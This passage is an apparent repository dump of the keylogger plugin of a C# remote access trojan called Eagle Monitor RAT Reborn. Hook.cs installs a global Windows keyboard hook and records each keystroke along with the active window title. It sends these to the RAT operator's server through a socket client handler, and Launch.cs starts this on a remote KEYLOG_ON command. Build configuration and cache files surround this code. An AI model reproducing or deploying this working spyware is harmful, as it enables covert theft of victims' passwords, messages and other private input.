= size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n                }\n\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n            if (Connected)\n            {\n                if (length != 0)//TODO : LOGS\n                {\n                    //MessageBox.Show(\"Data sent ! + length = \" + length.ToString());\n                }\n                else \n                {\n                    //MessageBox.Show(\"Error while sending data + length =\" + length.ToString());\n                }\n\n            }\n            //this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/Hook.cs",
    "content": "﻿using PacketLib.Packet;\nusing Plugin;\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Threading;\nusing System.Windows.Forms;\nusing static KeyLib.Imports;\n\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/LimeLogger/LimeLogger/Packet.cs\n*/\n\nnamespace KeyLib\n{\n    public class Hook\n    {\n        public static StringBuilder stolen;\n\n        static Hook() \n        {\n            stolen = new StringBuilder();   \n        }\n\n\t\tinternal static Thread keyboadThread = new Thread(KeyboardThread);\n\t\tpublic static void AbortHook()\n\t\t{\n\t\t\ttry\n\t\t\t{\n                if (ptrHook != IntPtr.Zero) \n                {\n                    UnhookWindowsHookEx(ptrHook);\n                }\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n        public static void StartHooking()\n        {\n            keyboadThread.Start();\n        }\n\n        private static void HookKeyboard()\n\t\t{\n\t\t\tcallback = new LowLevelKeyboardProc(GetAllKeys);\n\t\t\tptrHook = SetWindowsHookEx(13, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0);\n\t\t}\n\n\t\tprivate static void KeyboardThread()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tHookKeyboard();\n\t\t\t\tApplication.Run();\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\n        private static string GetActiveWindowTitle()\n        {\n            try\n            {\n                const int nChars = 256;\n                StringBuilder stringBuilder = new StringBuilder(nChars);\n                IntPtr handle = GetForegroundWindow();\n                GetWindowThreadProcessId(handle, out uint pid);\n                if (GetWindowText(handle, stringBuilder, nChars) > 0)\n                {\n                    CurrentActiveWindowTitle = stringBuilder.ToString();\n                    return CurrentActiveWindowTitle;\n                }\n            }\n            catch (Exception)\n            {\n            }\n            return \"???\";\n        }\n\n        private static string KeyboardLayout(uint vkCode)\n        {\n            try\n            {\n                StringBuilder sb = new StringBuilder();\n                byte[] vkBuffer = new byte[256];\n                if (!GetKeyboardState(vkBuffer)) return \"\";\n                uint scanCode = MapVirtualKey(vkCode, 0);\n                IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));\n                ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);\n                return sb.ToString();\n            }\n            catch { }\n            return ((Keys)vkCode).ToString();\n        }\n\n\n        private static IntPtr GetAllKeys(int nCode, IntPtr wp, IntPtr lp)\n        {\n            try\n            {\n                if (nCode >= 0 && wp == (IntPtr)WM_KEYDOWN)\n                {\n                    int vkCode = Marshal.ReadInt32(lp);\n                    bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0;\n                    bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;\n                    string currentKey = KeyboardLayout((uint)vkCode);\n\n                    if (capsLockPressed || shiftPressed)\n                    {\n                        currentKey = currentKey.ToUpper();\n                    }\n                    else\n                    {\n                        currentKey = currentKey.ToLower();\n                    }\n\n                    if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)\n                        currentKey = \"[\" + (Keys)vkCode + \"]\";\n                    else\n                    {\n                        switch (((Keys)vkCode).ToString())\n                        {\n                            case \"Space\":\n                                currentKey = \" \";\n                                break;\n                            case \"Return\":\n                                currentKey = \"[ENTER]\\n\";\n                                break;\n                            case \"Escape\":\n                                currentKey = \"[ESC]\\n\";\n                                break;\n                            case \"Back\":\n                                currentKey = \"[Back]\";\n                                break;\n                            case \"Tab\":\n                                currentKey = \"[Tab]\\n\";\n                                break;\n                        }\n                    }\n\n                    if (!string.IsNullOrEmpty(currentKey))\n                    {\n                        StringBuilder sb = new StringBuilder();\n                        if (CurrentActiveWindowTitle == GetActiveWindowTitle())\n                        {\n                            sb.Append(currentKey);\n                        }\n                        else\n                        {\n                            sb.Append($\"\\n\\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]\");\n                            sb.Append($\"\\n{currentKey}\");\n                        }\n                        Launch.clientHandler.SendPacket(new KeylogPacket(sb.ToString(), Launch.baseIp, Launch.HWID));\n                        //stolen.Append(sb.ToString());\n                    }\n                }\n\n                else if (nCode >= 0 && wp == (IntPtr)WM_SYSKEYDOWN)\n                {\n                    int vkCode = Marshal.ReadInt32(lp);\n                    bool altPressed = (GetKeyState(0xA5) & 0x8000) != 0; //only rigth alt //(GetKeyState(0xA4) & 0x8000) != 0 || (GetKeyState(0xA5) & 0x8000) != 0;//(GetKeyState(0x12) & 0xffff) != 0;\n                    string currentKey = KeyboardLayout((uint)vkCode);\n                    if (altPressed)\n                    {\n                        if (!string.IsNullOrEmpty(currentKey))\n                        {\n                            StringBuilder sb = new StringBuilder();\n                            if (CurrentActiveWindowTitle == GetActiveWindowTitle())\n                            {\n                                sb.Append(currentKey);\n                            }\n                            else\n                            {\n                                sb.Append($\"\\n\\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]\");\n                                sb.Append($\"\\n{currentKey}\");\n                            }\n                            Launch.clientHandler.SendPacket(new KeylogPacket(sb.ToString(), Launch.baseIp , Launch.HWID));\n                            //stolen.Append(sb.ToString());\n                        }\n                    }\n\n                }\n                return CallNextHookEx(ptrHook, nCode, wp, lp);\n            }\n            catch\n            {\n                return IntPtr.Zero;\n            }\n        }\n\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace KeyLib\n{\n    internal static class Imports\n    {\n        #region\"user32\"\n        private const string user32 = \"user32.dll\";\n\t\tinternal static string CurrentActiveWindowTitle;\n\n\t\tinternal const short WM_KEYDOWN = 0x100;\n\t\tinternal const int WM_SYSKEYDOWN = 0x104;\n\n\t\t[DllImport(user32)]\n\t\tinternal extern static bool UnhookWindowsHookEx(IntPtr hook);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern IntPtr GetKeyboardLayout(uint idThread);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);\n\t\t[DllImport(user32)]\n\t\t[return: MarshalAs(UnmanagedType.Bool)]\n\t\tinternal static extern bool GetKeyboardState(byte[] lpKeyState);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);\n\t\t[DllImport(user32)]\n\t\tinternal static extern uint MapVirtualKey(uint uCode, uint uMapType);\n\n\t\t[DllImport(user32, CharSet = CharSet.Auto, SetLastError = true)]\n\t\tinternal extern static IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern IntPtr GetForegroundWindow();\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern short GetKeyState(int keyCode);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);\n\n\t\t[StructLayout(LayoutKind.Sequential)]\n\t\tinternal struct KBDLLHOOKSTRUCT\n\t\t{\n\t\t\tpublic Keys key;\n\t\t\tpublic int scanCode;\n\t\t\tpublic int flags;\n\t\t\tpublic int time;\n\t\t\tpublic IntPtr extra;\n\t\t}\n\n\t\tinternal delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);\n\t\tinternal static IntPtr ptrHook;\n\t\tinternal static LowLevelKeyboardProc callback;\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/Keylogger.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{D60C7327-79D4-4525-95D9-ADD6B55986A8}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Keylogger</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"Hook.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Keylogger based on async with improvements ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        internal static ClientHandler clientHandler;\n        internal static string key;\n        internal static string baseIp;\n        internal static string HWID;\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            Launch.key = loadingAPI.Key;\n            Launch.baseIp = loadingAPI.BaseIp;\n            Launch.HWID = loadingAPI.HWID;\n\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.KEYLOG_ON:\n                    clientHandler = new ClientHandler(loadingAPI.Host, key);\n                    clientHandler.ConnectStart();\n                    KeyLib.Hook.StartHooking();\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Keylogger\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Keylogger\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"d60c7327-79d4-4525-95d9-add6b55986a8\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Debug/Keylogger.csproj.CoreCompileInputs.cache",
    "content": "d2f885ecf362d1eaedf38bf9b2cfe659ba985bf1\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Debug/Keylogger.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncOps\\Keylogger\\obj\\Debug\\Keylogger.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\bin\\Debug\\Plugins\\Keylogger.dll\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Debug\\Keylogger.dll\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Debug\\Keylogger.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Debug\\Keylogger.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\Keylogger.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\Keylogger.dll\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Keylogger.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Keylogger.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Debug\\Keylogger.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Debug/Keylogger.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.CoreCompileInputs.cache",
    "content": "850fa9d7e095bda8479c6585a81c4b669e121de8\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncOps\\bin\\Release\\Plugins\\Keylogger.dll\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Release\\Keylogger.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Release\\Keylogger.dll\nF:\\Personal\\DesyncOps\\Keylogger\\obj\\Release\\Keylogger.csproj.CopyComplete\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Keylogger.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Keylogger.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Keylogger\\obj\\Release\\Keylogger.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Keylogger.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CopyComplete\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.dll\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Keylogger.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CopyComplete\nC:\\Eagle Monitor RAT 